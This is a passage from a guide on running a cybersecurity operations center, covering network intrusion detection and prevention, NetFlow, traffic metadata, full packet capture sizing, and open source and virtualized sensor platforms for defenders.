hosts listed in tip-off information, days or weeks before and after the tip-off fired 3. T he packet capture for the packet(s) that triggered the alert, preferably for the full session, in the form of libpcap-formatted data (PCAP). With all three of these elements, along with effective analytics and workflow, the ana- lyst can identify anomalous or malicious activity and determine whether further action is warranted. Ideally, both the NetFlow events and IDS alerts should be indexed against the PCAP data, allowing seamless workflow for the analyst. Few products do all three of these well. This compels the SOC to combine a number of different products in its architecture. Best practices for most modern SOCs mean they will augment these three passive systems with in-line preventative capabilities, such as a NIPS or content detonation device. In this section, we cover each of these systems and show how they work together in one coherent architecture. 8.2.1 I ntrusion Detection Systems Overview Intrusion detection systems , as stated in [42] , are: Hardware or software products that gather and analyze information from various areas within a computer or a network to identify possible security breaches, which include both intrusions (attacks from outside the organizations) and misuse (attacks from within the organizations). Adapting [42] further, network IDSes are IDSes that capture and analyze network traf - fic for potential intrusions and other malicious or anomalous behavior. IDSes have been around for a long time and are discussed at length in various materi - als such as [2] , [46], Appendix B of [9] , [135], and [5] . Figure 6 on page 36 shows the classic function of a NIDS. The IDS evaluates network traffic in real time against a signature Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center119 policy, definition of acceptable/normal behavior, or some other set of heuristics, generating alerts that are sent to a user console and data store. We will defer an in-depth discussion of NIDS to the above sources, and focus instead on the practical architectural considerations for the SOC. Every time an IDS detects activity that is of concern, such as a match against one of its signatures, it will generate an alert. This alert should contain details necessary for the SOC analyst to understand what the alert means and what to do about it. Most typically, an IDS alert (specifically one from a signature-based network IDS) is composed of the following fields: ‚Event identification number (ID) ‚Date and time (sometimes down to the millisecond) that the signature fired ‚Source and destination IP ‚Source and destination UDP or TCP port ‚Signature name and/or signature ID ‚Event severity ‚A textual description of the signature or a link to an external repository or database with details on the signature, such as Common Vulnerabilities and Exposures (CVE) entry and signature description ‚Bytes sent and bytes received for the total network session that the signature fired on ‚Additional contextual information, possibly including protocol-specific fields such as with SNMP, SMTP, POP3, HTTP, FTP, SSL, or Common Internet File System/Server Message Block (CIFS/SMB). IDS alerts sometimes also include a reference to the raw PCAP for either the packet(s) that triggered the signature or the entire session. Rather than delivering all of this data to the analyst along with every alert, a reference may be included in the event data such that the analyst can retrieve the PCAP on demand. NIDSes come in both software and hardware (appliance) form. They can leverage sig - nature or anomaly detection methods that we discussed above or, in some cases, a combi - nation of both. NIDSes can also sit in-line between the attacker and target, not just alerting on malicious activity but actively blocking it; these systems are NIPSes. In a large enterprise, a SOC will typically have multiple NIDS or NIPS sensors deployed at major choke points such as network perimeters, Internet connections, and, in some cases, at major core switches and routers. The NIDSes respond to tasks from a central manager, such as signature updates, and also send the alerts generated by their detection engines to the manager. An analyst can log in to the central manager, usually through a Web client, and view alerts and system status and manage sensor policies. This architec - ture is shown in Figure 18. 120 So far, we’ve discussed general-purpose IDSes that must balance attention to all pro - tocols, sometimes at the expense of deep inspection of a specific type of traffic. These sys - tems comprise the vast majority of network sensing and protection capabilities deployed by mature SOCs but don’t fill in all the gaps. As a result, there are protocol-specific detection and prevention capabilities we can bring to bear, which sometimes blur the line between IDS/IPS and firewalls. These products focus on one specific protocol such as Extensible Markup Language (XML), relational database management system (RDBMS) SQL traffic, Web traffic, or Web services traffic. In these cases, vendors will typically build robust pro - tocol reconstruction and decoding engines in order to detect and, potentially, block mali - cious activity that would slip by general-purpose IDSes. Such devices are most appropriate for instrumenting critical services exposed to large user populations. Each of the different types of IDSes has its strengths and weaknesses. These are sum- marized in the Table 9. There are several attributes of a good IDS, as described in [2 , pp. 256-258] . To today’s network defender, perhaps the most important function of an IDS is to detect attacks that the enterprise is not comprehensively protected against. This occurs from the time an attack is discovered to the time when systems are patched, or other mitigations are put in Maximize the Value of Technology Purchases Figure 18 T ypical IDS ArchitectureTraffic forwarded from network devicesPassive network IDS Firewall/ boundarydevice Deviceactivelyblocksattack s In-line network IPS HIPS collect host information, detect & block malwareServer &desktopw/host IPSagent Alerts up,command &control down Administration& monitoringconsoleCollection & storage of IDS/IPS alerts Protected NetworkUnprotected NetworkOne IDS may have multiple monitoring taps T en Strategies of a World-Class Cybersecurity Operations Center121 Table 9 A dvantages and Disadvantages of Intrusion Detection Elements Characteristic Type Advantage Disadvantage Detection MethodBehavior-based: Known as anom-aly detectionBehavior-based IDSes can detect previously unknown attacks and misuse within a session, prior to a specific attack being publicly known (e.g., with “zero days”).They are complex and prone to false positives. They require longer ramp-up times for IDSes to learn baseline system behavior. Networks or systems with frequent changes and activity surges may be difficult to profile for effective monitoring. Knowledge-based: Known as misuse or signature-based detectionSignature-based detec-tion is fast and sometimes has a lower false-positive rate than behavior-based detection. Signature-based IDSes can detect known attacks immediately.Signature-based IDSes can only detect known attacks. If signatures are not updated, new types of attacks will most likely be missed, putting attackers and defend-ers in a game of “cat and mouse.” They are prone to false positives.They are blinded by content obfusca- tion or protocol encryption. SourceNetwork: Detect activ- ity from network traffic at perime- ter or core moni- toring pointsA NIDS can monitor a large range of systems for each deployed sensor. NIDSes should be invisible to users.A NIDS can miss traffic and is prone to being spoofed, attacked, and bypassed. A NIDS often cannot determine the success or failure of an attack. NIDSes cannot examine encrypted traffic. Host: HIDSes monitor OS and interac-tive user activi-ties. Sensors are often software agents deployed onto production systems.A HIDS will not miss an attack traffic directed at a system due to missing, encrypted, or obfuscated network traffic, assum-ing the HIDS is capable of detecting it from system activity or logs. A HIDS can help determine the success or failure of an attack. A HIDS can help identify misuse by a legitimate user. A HIDS often bundles other capabilities such as host integrity/assurance monitoring.HIDS software could be disabled or circumvented by a skilled attacker. T uning a HIDS can be challenging since many have easily circumvented detection mechanisms or they require nontrivial training (and re-training) on normal system behavior. A HIDS often requires privileged access to the system in order to pre-vent or block misuse. Incorrectly configured HIDSes can easily interfere with correct host operation. 122 Table 9 A dvantages and Disadvantages of Intrusion Detection Elements Characteristic Type Advantage Disadvantage Response ModeActive: Active IDSes, called IPSes, react by terminating services or block - ing detected hos-tile activities.IPSes are well matched with signature-based IDSes because of the need for well-known attack definitions. IPSes can prevent or reduce damage by a quick response to a threat or attack. No immediate operator intervention is required.IPSes require some control of services being monitored. IPSes require careful tuning in order not to block or slow legitimate traffic or host activity. Passive: Passive IDSes react by sending alerts or alarms. These do not per - form corrective actions.Easier to deploy False positives do not neg- atively impact constituency.Requires operator intervention for all alerts. This adds time to inter - pret, determine corrective action, and respond, which could allow more dam-age to occur. place. This reinforces the value of anomaly-based IDSes that don’t depend on signatures and the importance of keeping signature-based IDSes up-to-date. As we can see in Figure 19, an IDS is most valuable between the time an exploit is put in use by the adversary and when the exploit is patched against. We can also see the gap inherent in signature-based IDSes where signature implementation lags behind when an exploit is in use. Because a signature-based IDS is usually more precise in spot - ting an attack, once the corresponding signature is deployed, a signature-based IDS may be regarded as more valuable than a heuristics-based one with respect to the exploit in question. As use of the exploit wanes, the value of that IDS with respect to the particular vulnerability also diminishes. For more information on placement of IDS/IPS technologies, see Section 9.1 and [136] . For detailed comparisons between different IDS/IPS products, see [41] . 8.2.2 Im plications of Prevention So far, we have focused on passive IDSes. While these devices provide awareness and tip - ping to the SOC, they don’t actually stop anything from happening—they just produce data for ingest by other tools and analysts. It would be a lot better if we could deploy a technol - ogy to actually block attacks in real time. NIPSes provide this capability but require even Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center123 greater vigilance and upkeep than NIDSes because of their potential impacts to network performance and availability. Before we move on to other passive monitoring techniques, we will drill down on “response modes,” from above, and analyze what it means to go in-line. In order to effectively leverage a NIPS’s value proposition, the SOC must respect some of the operational realties of operating them. These include: ‚False positives. Given a SOC’s experience with the high false-positive rate associated with IDS technology, NIPS administrators are justifiably cautious. Consider that each false alarm results in blocked traffic. If not careful, the NIPS administrator can inflict a very serious DoS. As a result, many SOCs will be very careful about which NIPS signatures they turn to block, doing so only after several days or weeks of use in alert-only mode. This places a great deal of emphasis on choosing a NIPS with a robust protocol analysis and signature detection engine. ‚Response choices. Different IPS technologies offer different means to respond to malicious traffic. One common method is to send a TCP reset to both hosts involved in a network connection, which, unfortunately, is not a good idea. Attackers, being malicious, probably expect this behavior and will take advantage of it in two ways: (1) they can simply ignore the reset and continue the conversation and (2) they now Figure 19 IDS Signature Age Versus Usefulness in Detection Vulnerability introduced APT discovers vulnerabilityAPT weaponizes vulnerabilityExploit in use by APT Vulnerability disclosed, “Day 0”Signature developed Signature implementedPatch released Patch implemented Exploit no longer usedRelative value of IDS System Exploit TimelineSignature-Based Anomaly-Based 124 know there is probably an IPS in front of their victim. Other IPSes will implement blocks by automatically updating a firewall or router’s access control list (ACL), blocking the network communication in question. This is problematic because they can make a mess of router and firewall configurations. The best IPSes implement the block by themselves—simply dropping the offending packet and every subsequent packet between the attacker and victim host(s). ‚Response actions. Let’s consider a situation where we have an IPS that properly blocks packets in an offending network connection and takes no other actions such as TCP resets. How long should we ban the attacker from communicating or with whom—just the victim or anyone on the network? Architectural aspects of the net - work, such as NATing, can make this more difficult. Imagine an IPS that sees attacks as originating from a Web proxy or NATing firewall. The attacker may appear to the IPS as the firewall, whereas, in reality, it is a host somewhere on the other side. But, because we’re blocking traffic, we’re now dropping packets from our own firewall, thereby inflicting a DoS. Careful placement of the IPS in order to affect correct response action is critical. ‚Presence. A NIPS should not advertise its presence to systems on either side of the network connection. This means not sending out traffic to the attacker and target, and not even having a MAC address. In other words, the device should simply appear as a “bump on the wire.” That said, even the best IPS may disclose its presence simply by doing its job. Skilled attackers can detect an in-line NIPS by using very old attack methods against a target network. Ordinarily, these attacks will almost certainly fail because the targets are well patched. However, the NIPS will do its job by blocking the attacker from any further communication to the targets. As a result, the attacker now knows a NIPS is present and can change attack techniques. Therefore, the SOC may choose response actions that only block specific attacks rather than banning attacker IPs completely. ‚Latency and bandwidth. Being in the middle of network traffic, a NIPS may have an undesirable impact on network performance. A poorly implemented or undersized NIPS can introduce latency into network communications or inadvertently throttle bandwidth or traffic that passes by. The SOC must be careful which NIPS products it chooses for a given network connection in order to avoid this problem, especially for high-bandwidth links. ‚Cost of decoding. A NIPS may operate at its advertised speeds only with a synthetic set of protocols or with certain decoder modules turned off. For instance, a NIPS advertised as 10 gigabit (Gb)-capable may operate at two Gb with its HTTP decoding module turned on, because reconstruction of the HTTP and the logic needed to detect Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center125 attacks in the protocol are very expensive [137]. Or a NIPS may advertise compatibility with an open signature format (such as Snort), but use of this capability will slow the NIPS’s decoding engine significantly. Moreover, a lot of NIPSes offer “packet shaping,” “traffic shaping,” or firewall-like capabilities. Use of these features will likely intro - duce latency into network traffic. The SOC must carefully assess whether this latency has a meaningful impact on network services. ‚Content modification. Some of the fanciest IPS products, especially those advertising information leakage and industrial espionage prevention features, may not only block traffic but actually modify it . This could include redacting material from within Web pages or Word documents as they fly across the wire . This is a complex undertaking because it requires doing protocol reconstruction and modification at an even higher level of abstraction than network traffic. For instance, consider that an application expects a certain number of bytes, and that this expectation is embedded as a field in the protocol (as with a checksum). If the transmitted content is modified, the check - sum must also be changed. Can the NIPS do this without incurring a significant delay in network traffic? These techniques can be problematic and are recommended only for the most well-resourced SOCs. ‚Single point of failure. If the NIPS is in-line, what happens if it breaks or loses power? Good IPSes will have features (or accessories) that allow them to fail open (i.e., even if it malfunctions or loses power, traffic will continue to flow). This may sound like a bad idea, but remember that an IPS is usually not the only device protecting a net - work from the outside world. There should be routers and firewalls nearby that are set to a default deny policy. Most commercial NIPS vendors build in fail-open features, whereas extra precautions or architectural changes must be considered when imple - menting an open source IPS on commodity hardware. ‚Involvement in network operations. When the SOC deploys any sort of in-line capability anywhere in the enterprise (NIPS, HIPS, or otherwise), it becomes a de facto player in network operations. It is very common for the SOC’s equipment to be blamed for any sort of problem that crops up (e.g., network outages or slow perfor - mance), even if the relationship between the SOC equipment and the actual problems is far-fetched. A SOC will sometimes find its equipment has simply been disconnected because network operations asserted that the SOC’s gear caused some problem. A SOC must be vigilant in watching its device status and data feeds to catch issues, and it must constantly work with network operations to ensure its equipment is well behaved. ‚Price. A NIPS cannot tolerate performance or availability problems that a passive IDS can. NIPS vendors are, therefore, compelled to build robust, sometimes custom 126 hardware platforms into their products. Whereas a commodity NIDS sensor may cost less than $10,000, a NIPS operating at the same speeds may cost substantially more. Most NIDSes sold today are dual purpose; they are able to operate both passively off to the side or actively in-line. That said, running in-line uses twice as many ports on the device, thus doubling the effective cost of running in-line for a given set of net - work links. Despite these challenges, some SOCs have found NIPSes to be useful tools. The gap between exploit release and patch deployment presents a period of serious risk to the enter - prise; sometimes this is measured in hours, other times it is measured in weeks or months. A few well-placed IPSes may provide protection during periods when constituency systems would otherwise be vulnerable. Unfortunately, many SOCs never get their NIPS into an in-line, blocking mode. On the basis of discussions with various SOCs and IPS vendors, some, if not most, NIPS devices remain in passive span/tap mode for most of their operational lives. There are several potential causes for this: (1) the SOC doesn’t have enough organizational authority and operational agility, (2) the SOC isn’t confident enough in its signature tuning, or (3) the SOC simply decides that in-line blocking mode isn’t worth the perceived risk of a self-inflicted DoS. There are, of course, other methods to block attacks in-line that some SOCs favor instead of NIPS; content detonation devices and host IPS, discussed in Section 8.2.7 and Section 8.3.3 , respectively. 8.2.3 NetFlow Whereas an IDS looks at the entire contents of network traffic, we need a capability that summarizes all network traffic, with little performance overhead. Among the complements to IDS alerts are NetFlow records (often referred to as flow records or flows ). Rather than recording or analyzing the entire contents of a conversation, each flow record contains a high-level summary of each network connection. While the development of the NetFlow standard can be attributed to Cisco, it is now used in a variety of different networking hard - ware and software products [138] and is an Internet Engineering Task Force standard [139] . One can think of a NetFlow generation device as like a telephone pen register. A pen register is a device that produces a listing of all phone calls that go in and out of a particu - lar phone line, including the time, duration, caller’s phone number, and recipient’s phone number [140]. However, a pen register is just a summary of what calls were made. It doesn’t include the contents of the call—what was said. NetFlow is like a pen register for TCP/IP network traffic. Simply put, NetFlow is to PCAP collection as a pen register is to a tran - script. NetFlow doesn’t say what was said, it simply indicates that a conversation took place.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center127 While different NetFlow generation and manipulation tools are available, generally speaking, each flow record provides the following information: ‚Start time ‚End time (or duration since start time) ‚Source and destination IP ‚Source and destination port ‚Layer 4 protocol—TCP, UDP, or ICMP ‚Bytes sent and bytes received ‚TCP flags set (if it’s a TCP stream). Whereas the contents of a network connection could be gigabytes (GB) in size, a single flow record is less than a few kilobytes (KB). The power of NetFlow, therefore, is found in its simplicity. NetFlow record collection and analysis is regarded as an efficient way to understand what is going on across networks of all shapes and sizes. It is critical to under - stand that NetFlow records do not generally contain the content of network traffic above OSI layer 4. This is a blessing, because (1) little processing power is necessary to gener - ate them, (2) they occupy little space when stored or transmitted, (3) they are agnostic to most forms of encryption such as SSL/TLS, and (4) just a few flow records can summa-rize GBs or perhaps terabytes (TBs) worth of network traffic. On the other hand, this is a curse, because the flows capture nothing about the payload of that traffic. Whereas an IDS consumes significant processing power to alert on only suspect traffic, NetFlow generation tools consume little processing power to summarize all traffic. Interesting clues can be generated from NetFlow alone—for example, “Hey, why do I see email traffic coming from a Web server?” or “One workstation was seen transferring vastly more data out of the enterprise than any other workstation.” By combining flow records, knowledge about the constituency, and NetFlow analysis tools, an experienced CND ana-lyst can find a variety of potential intrusions without any other source of data. In fact, some mature SOCs focus as much or more analyst resources on flow analysis than with data com-ing out of their IDSes. NetFlow analysis is applicable to many stages of the cyber attack life cycle, whereas IDSes are traditionally oriented toward the reconnaissance and exploitation phases. Flow records can be generated by a number of devices, including: ‚Routers and switches; the official NetFlow record format actually originated from Cisco ‚Some NIDS/NIPS, in addition to their normal stream of IDS alerts ‚Some HIDS/HIPS, which may tie the flow to the OS process transmitting on the port in question, enriching the contextual quality of the data at the potential expense of extremely high volume, if widely deployed 128 ‚Software packages purpose-built for flow generation, collection, and analysis, such as SiLK [67], Argus [66] , and S/GUIL [141] . SOCs often leverage purpose-built tools for their flow generation and collection needs because they can operate and control them directly, vice routers or switches. More impor - tant, however, the SOC can place flow collection devices where it needs them. This gives the SOC a tremendous advantage when analyzing how an advanced adversary moves later - ally inside the network, something a border device would not see. NetFlow tools are split into two parts, similar to a standard IDS deployment architecture: 1. O ne or more flow generation devices that monitor network traffic and output cor - responding NetFlow records in real time 2. A c entral component that gathers flow records, stores them, and provides a set of tools for the analyst to interact with; analysis tools are typically either command-line based, leverage a Web interface, or both. Some NetFlow tool suites can accept flow records generated by third-party systems such as routers or switches just like a native producer of flow records. Argus, for instance, can collect flows in Cisco’s NetFlow version 5 and version 9 formats. Some SIEM tools are also adequate at consuming and querying flow data—both in real time and retrospectively. With regard to NetFlow analysis, SIEM tools can process and alert on NetFlow records in real time, whereas, in traditional flow analysis, tools like Argus and SiLK are not usually used in this fashion. 1 That said, a healthy flow-based ana- lytic framework will most likely leverage both real-time and retrospective analysis. NetFlow is not without its limitations. Among these are: ‚Just like any other network-based monitoring capability, a NetFlow sensor cannot generate records on traffic it does not see. Therefore, careful placement of NetFlow sensors across the constituency is key. ‚Classic NetFlow records do not record anything about the content of network traffic above layer 4 of the TCP/IP network stack. Even if a flow is on port 80, that doesn’t necessarily mean its contents are legitimate Web traffic. ‚Under a heavy load, a NetFlow sensor is likely to resort to sampling a portion of the network traffic that passes by. If this occurs, records generated will contain incorrect packet and byte counts, thereby skewing derived statistics and potentially fouling downstream use cases. 1 T here are some exceptions. The Network Situational Awareness (NetSA) Security Suite within System for Internet-Level Knowledge (SiLK) can do real-time processing of flow data [67] . Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center129 ‚Like other network-monitoring capabilities, NetFlow analysis can be partially blinded by frequent use of NAT and proxy technologies throughout the network. For this reason, it is often prudent to collect flows from both sides of a proxy and/or the proxy logs themselves. ‚NetFlow is sometimes used to perform analysis on encrypted connections because going deeper into the network stack is not useful. That said, the nature of the protocol must be carefully analyzed, because some combinations of tunneling and encryp - tion can render NetFlow analysis marginally useful (e.g., the case with some uses of Virtual Routing and Forwarding/Generic Routing Encapsulation [VRF/GRE] and VPNs). ‚Because they generate a record for each network traffic session, NetFlow records can dwarf most other data feeds collected by a SOC, especially if flows are collected from the end host. When CND analysts look at an IDS alert, they see only something potentially bad about one packet in one network session. The flow records for the source and destination hosts involved in that IDS alert bring context to the analysts. What other hosts did the attacker interact with? Once the IDS alert fired, did the victim start making similar con - nections with yet other hosts, indicating a spreading infection? These questions can be answered with flow records and the tools necessary to query them. As we will discuss later, full-session capture can also support these use cases, but the beauty of NetFlow is that the amount of data needed to draw these conclusions is often vastly less, affording the analysts greater economy of data and speed. For more information on NetFlow analysis, see [142] and Chapter 7 of [9] . 8.2.4 T raffic Metadata As we discuss in Section 8.4 and Section 9.2 , there are a number of log sources that can be consumed by SIEM to spot potential intrusions. Three of the most popular are (1) firewall, (2) email proxy, and (3) Web proxy logs. These provide tremendously use - ful information such as email headers (sender, recipient, and subject) and HTTP headers (requested Uniform Resource Locator [URL], user agent, and referrer) for all traffic passing by. However, there are many situations where such logs are unavailable, hard to parse, or unreliable. Fortunately, we have alternatives that take NetFlow one step deeper into the TCP/ IP stack, providing analysts the same traffic metadata or “ superflows ” they would get from these other log sources. Metadata is roughly as voluminous as NetFlow, in terms of the number of records generated on a busy network link, but it can serve as an enhanced source of potential intrusion tip-offs. Consider a known set of websites that are hosting 130 malware. This bad-URL list can be matched against incoming traffic metadata to look for potential infections. We can also collect metadata on DNS requests and replies, which can be used to look for malware beaconing and covert command and control of persistent mal - ware. In fact, collecting metadata in the right places on the network allows us to be more selective in what is collected. Thereby, it presents less of a performance burden on both the SOC’s collection systems and network services such as DNS servers or mail gateways. Some tools such as Yet Another Flowmeter (YAF) and SiLK [67] and Bro IDS [65] provide robust metadata generation and analysis capabilities. Some NIDSes such as IBM Internet Security Systems (ISS) Proventia Intrusion Prevention [143] have series of signa- tures that also gather traffic metadata. These signatures are separate from attack signatures, and they may serve as an excellent stand-in for firewall or email gateway logs. Something to consider, however, is that many of these systems will log related pieces of metadata in sepa - rate events or log lines. In the case of email, sender address will be in one event, destination in another, subject in a third, and, perhaps, the file attachment name in a fourth. A correla - tion tool such as SIEM may be needed to piece together these disparate events. 8.2.5 F ull Session Capture and Analysis When we have a serious incident such as one that requires active response or legal action, we need concrete proof of what happened. While this can come from data pulled from the host, having a complete record of network traffic is often crucial. What is the content of this suspicious beaconing traffic? What was that user printing out at 2 a.m.? What was the full payload of this exploit, and what did this infected host download after it was infected? Full session capture can answer these questions, but we must be careful to scale our traffic col - lection and analysis platforms effectively. Traffic capture is typically done on major perimeter connections in a sustained manner where an IDS (or other monitoring device) lives, and in an ad hoc manner near systems that are suspected of compromise, such as with adversarial engagements and other inci - dents. While we can filter out traffic we know we don’t want recorded, due to volume, we still have a scalability challenge in all but the smallest deployments. There are a number of tools that support full-session capture and analysis, the vast majority of which support input and output in binary libpcap format. PCAP is based on the original work that went into the libpcap libraries, on which capture tools such as tcpdump are based. There are many excellent sources [144] , [68] for information on tcpdump and associated protocol analysis tools such as WireShark [69] , so we won’t cover their details here. At a high level, WireShark is a graphical user interface (GUI)-based utility that can record and display PCAP data in graphic format to the analyst. This allows the user to view how each OSI protocol layer is broken down for each packet. There is also a text-based Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center131 version, tshark, that records and displays PCAP data, but without the fancy interface. Most SOCs leverage WireShark as a core-analyst tool because it is easy to use, decodes PCAP, sniffs low-bandwidth connections well, and is free. The biggest challenge with full-session capture is obvious—volume. Consider an enter - prise of tens of thousands of hosts that all go through one Internet connection—perhaps an OC-48 [145] , which maxes out at more than two gigabits. At an average of 50 percent utilization, let’s look at how much data we would collect in a 24-hour period: 2400 Mbit/s * 60 sec * 60 min * 24 hours * .5 utilization/8 bits per byte = 12.96 TB At first glance, this does not seem like an insurmountable challenge. A single, mod - erately priced NAS can store far more than that, and 10 Gb network adapters are a com- modity item. As we discuss in Section 9.2 , Tier 2 analysts usually need at least 30 days of online PCAP for analysis and response purposes, preferably 60 days or more. That means we’re looking at 30 * 12.96 TB = 388.8 TB. That’s a very significant amount of data, even though we’re looking at a moderately sized connection and modest retention. While full-session collection and retention is not a trivial undertaking, there are sev - eral fairly straightforward ways to make it happen. Common open source utilities like tcp - dump, careful OS and driver optimizations, and some careful scripting can be combined with commodity server hardware platforms to ingest PCAP at speeds well beyond one Gb per second. In most cases, it’s easiest to connect a commodity server with large amounts of on onboard storage to a series of low-cost direct-attached storage devices (DASDs), each holding dozens of TBs in a few rack spaces. With careful attention paid to filtering out unnecessary traffic and compression of archived data, keeping a month or more of data online is not an unreasonable objective in most architectures. One of the biggest chal - lenges for PCAP capture is packet loss, which is one of the top reasons for purchasing a capture platform specifically built to support packet capture at 10 Gb per second [146] and beyond. These platforms may be a better choice for SOCs that do not have the resources to construct and tune high-bandwidth data collection systems. Specific traffic collection and analysis tools include NetWitness Decoder and Investigator [147], Solera Networks DeepSea [148] , and AccessData SilentRunner [149] . These types of tools are almost always PCAP–interoperable but, in some cases, will actually record data in their own proprietary format. Whereas open source tools are free, many traffic-capture vendors license their products on a per-TB basis, making retention of large amounts of captured data quite expensive. The biggest advantage of these types of tools is that they both record data from high-bandwidth connections and present metadata about captured traffic to the analysts, allowing them to pivot and drill down very quickly from many days or weeks of traffic to what they need. Some SOCs will leverage FOSS tools to collect large 132 amounts of PCAP cheaply and then run them through a commercial tool on an as-needed basis. This provides much the same usability but without the high price of a COTS tool. There tend to be regular instances where the SOC suspects a particular constituent’s system may be involved in an incident, requiring long-term collection of a narrow set of traffic. However, permanent emplacements of NetFlow or PCAP collection may provide little or no visibility into that end host. In such cases, it is helpful for the SOC to have a mobile platform for ad hoc PCAP capture, at a lower cost than the PCAP collection systems sitting off its main Internet gateway. Such a platform, perhaps a laptop system running Linux with a few TB of local storage, can be deployed on demand to an edge switch where the suspect host resides. These mobile platforms are instrumental in enabling a SOC to support long-term focused engagements assessing the adversary’s TTPs. 8.2.6 T he Case for Open Source and Virtualization We have different options for which platform may serve as a basis for our network monitor - ing capabilities. Each option offers different performance, scalability, and economic advan - tages. As of the writing of this book, let’s look at what you can get for $20,000 and one unit of rack space: ‚Two CPUs with many hyperthreaded cores ‚Several hundred GB of random access memory (RAM) ‚Ten high-capacity spinning hard drives or, perhaps, ultra-fast solid state drives (SSD) that can be managed either through a hardware redundant array of independent disks (RAID) controller or a RAID-aware file system such as Z File System (ZFS) [150] or software RAID such as Linux mdadm [151] ‚Four embedded Ethernet ports supporting one gigabit Ethernet (gigE) or potentially 10 gigE speeds ‚Two or three Peripheral Component Interconnect express (PCIe) ports capable of sup - porting cards for: • A general-purpose graphics processing unit (GPGPU) such as Nvidia’s Compute Unified Device Architecture (CUDA) [152] and OpenCL applications [153] • Multiple 10 gigE ports each • Specialized network capture cards from vendors such as Emulex [146] or Myricom [154], which can support 10gigE (and beyond) full PCAP with minimal packet loss • Host bus adapters for SAN or DASD connectivity. That is a large amount of computing power in a small amount of space. Blade systems offer even higher density computing; however, storage and networking become more com-plicated, especially when considering networking monitoring applications. While the above Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center133 specs obviously will become less impressive in the years following this book’s writing, the point is that dedicating one server to one application is a thing of the past. Consider enterprise-grade NIDS/NIPS products that can retail anywhere from $5,000 for a modest hardware appliance to over $100,000 for an appliance capable of multiple 10 gigE connections. Given these price differentials, let’s look at our platform options as shown in Table 10. Table 10 C ommercial NIDS/NIPS Characteristics Platform Advantage Disadvantage Hardware appli- ance (specialized). Application-specific integrated circuits (ASICs) or field-pro-grammable gate array (FPGA)-based hard-ware platforms opti-mized for NIDS/NIPS applications.Special “secret sauce” hardware per - forms advanced protocol reassembly and analysis not possible with com-modity hardware. Extremely high bandwidth; best-of- breed detection capabilities usually exceed any other point solution. Simplified device management.Very high cost, limiting deployment to specialized use cases and customers with deep pockets. Some focus on niche markets; may not provide comprehensive coverage. Product is essentially a black box with lim- ited insight by the end user. Specialized hardware design tends to take longer, meaning longer product update cycle. Hardware appliance (commodity). Vendors package proprietary IDS software on com-modity OS and hard-ware (typically Linux on x86). Most NIDS/NIPS products are sold in this form. “T urnkey” deployment and simplified device management. Good performance out of the box, assuming normal tuning is performed. One high-end device can moni- tor multiple high-bandwidth network links.Similar capabilities can be achieved through software IDS deployment on open market COTS hardware. Despite “appliance” name and premium price, little custom hardware is used, eroding value. Deployment across many sites is limited by device cost. Software. Vendor ships product as package that must be implemented and tuned by customer.Low(er) cost vice hardware appliances. Ability to deploy across inexpensive commodity hardware. Some limited user access to “under- the-hood” system components, at the risk of going outside vendor support. Potential for high-bandwidth applica- tions, assuming ideal optimizations and high-end hardware.Combination of IDS software and various hardware and OS platforms can compli-cate implementation and troubleshooting. Packet loss can become a problem if hardware choices and tuning are not care-fully considered. Supporting fault-tolerant, robust in-line NIPS solutions can be a challenge. Few vendors still ship software NIDS. 134 Table 10 C ommercial NIDS/NIPS Characteristics Platform Advantage Disadvantage Virtual appliance. Vendor ships propri-etary NIDS/NIPS in a virtual container with limited user access “under the hood.” Ease of deployment and manage-ment similar to hardware appliance platforms. Similar flexibility in choice of hardware and deployment as software-based NIDS/NIPS. Easily support monitoring within vir - tual environments.Capability is comparatively new.Price premium may approach that of a hardware appliance. As with software NIPS, virtual NIPS deployments may still be challenging from a bandwidth and resiliency standpoint. Network monitoring should enjoy the same benefits other areas of IT have gained from high-compute density. The commodity hardware platform can support at least six or eight monitoring points, with multiple detection technologies applied to each. In enterprises that have multiple points that require monitoring within close physical proximity, this is a com-pelling value. Some SOCs have engineering resources such that they can leverage world-class IDS technology for the bulk of their sensor fleet, without the premium price tag. Consider what we discussed at the beginning of Section 8.2 . We need collocated NIDS monitoring, NetFlow, and full PCAP collection. These tasks are easily accomplished by FOSS tools such as Snort, Argus (or a number of other tools such as SiLK), and tcpdump, with a bit of scripting to glue them together. In fact, disk input/output (I/O), rather than memory or CPU, may become a limiting factor for PCAP collection. Moreover, with the advent of network interface cards (NICs) purposely built for high-bandwidth IDS applica-tions, we may even be able to take on use cases previously left to high-priced Application Specific Integrated Circuit (ASIC) and FPGA-based platforms. From a hardware perspective, integrating all of this equipment into one rack space is relatively straightforward. From a software perspective, integration is a bit more challeng - ing. There are two potential approaches. The first approach is to run all monitoring software on top of the same OS, directly installed on the system as in “bare metal.” In the case of multiple monitoring taps, each detection package will usually be running its own instance with a unique identifier, sepa-rate set of configuration files, and data output destination—be it physical disk, RAM disk, or syslog. The vast majority of SOCs that run open source software packages choose this approach. In the past, it was common to see only one physical hardware “pizza box” per monitoring tap point, keeping things very simple. Need another network monitored? Buy another server and put the same monitoring package on it. This approach is simple, cheap, Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center135 and effective, but it depends on having sysadmins skilled in Linux or Berkeley Software Distribution (BSD), which is not the case for all SOCs. Handling disparate detection packages can become problematic, especially when we want to bring a proprietary commercial IDS package into the mix, leading us to the sec - ond approach—virtualization. Also, the growing use of host virtualization technologies can make monitoring intra-virtual machine (VM) traffic more challenging; we may need a native, virtualized monitoring capability. For each monitoring point, we stand up a VM that contains one or more monitoring programs. If we wish to use multiple incompatible monitoring programs (e.g., both COTS and FOSS), they can be separated into different VMs. These can run on top of typical virtualization technology such as VMware ESXi/ESX Server [155] or Xen [156]. While adding some complexity, this approach adds a great deal of flexibility not found in a bare-metal OS install, as described in the following: ‚Collapsing multiple, disparate sensors onto one system with fewer wasted resources ‚Modular addition, removal, and transition from one monitoring technology to another ‚Remote reconstitution, provisioning, and upgrades of guest OSes and their entire monitoring software suite ‚Mix of multiple, incompatible monitoring technologies on the same interface, such as a FOSS solution running in one VM and a COTS virtual appliance running in another ‚From a software and management perspective, each monitoring tool appears on a separate virtual host. When collecting events centrally, this makes sorting and cor - relating alerts for 